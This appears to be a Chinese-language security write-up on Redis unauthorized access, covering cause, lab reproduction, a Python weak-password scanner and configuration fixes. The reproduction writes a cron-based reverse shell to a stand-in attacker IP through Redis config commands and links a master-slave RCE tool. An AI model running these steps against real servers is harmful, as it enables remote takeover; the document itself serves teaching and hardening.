漏洞分析
漏洞产生:
- redis绑定在 0.0.0.0:6379,直接暴露在公网
- 默认为空密码,可以免密码远程登录redis服务
漏洞危害:
- 攻击者无需认证访问到内部数据,导致敏感信息泄露
- 攻击者通过数据备份功能往磁盘写入后门文件
- 如果redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞复现
环境:ubuntu系统两台,分别做为服务端和客户端
redis安装:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz 下载安装包
tar xzvf redis-2.8.17.tar.gz 解压
cd redis-2.8.17 进入redis目录
make 编译安装
cd src 进入src目录
cp redis-server /usr/bin 复制服务端
cp redis-cli /usr/bin 复制客户端
cp redis-2.8.17/redis.conf /etc/ 复制conf配置文件
启动redis服务:redis-server /etc/redis.conf
漏洞测试:
1、客户端无账号直接登录redis
2、crontab-计划任务反弹shell
攻击机开启监听:nc -lvp 7777
连接redis执行命令:
redis-cli -h 10.18.100.38
config get dir 先查看备份目录,待会要修改回来,否则redis可能会出现异常
config get dbfilename 先查看备份文件名
set xx "\n* * * * * bash -i >& /dev/tcp/攻击机IP/7777 0>&1\n"
config set dir /var/spool/cron 修改备份目录
config set dbfilename root 修改备份文件名
save
等待反弹shell,之后要改回原来的路径和文件名
config set dir xxxx
config set dbfilename dump.rdb
save
3、主从复制RCE
利用脚本:https://github.com/n0b0dyCN/redis-rogue-server
检测脚本
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
漏洞修复
1、限制IP访问
在redis.conf文件中找到# bind 127.0.0.1
去掉#bind 127.0.0.1
前面的注释#
,将127.0.0.1
改成可以访问的IP地址
2、添加密码认证
在redis.conf
文件中找到requirepass
,然后修改如下:
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后可以登陆,但是无法执行命令
客户端登录之后需要进行认证才能访问auth yourpassword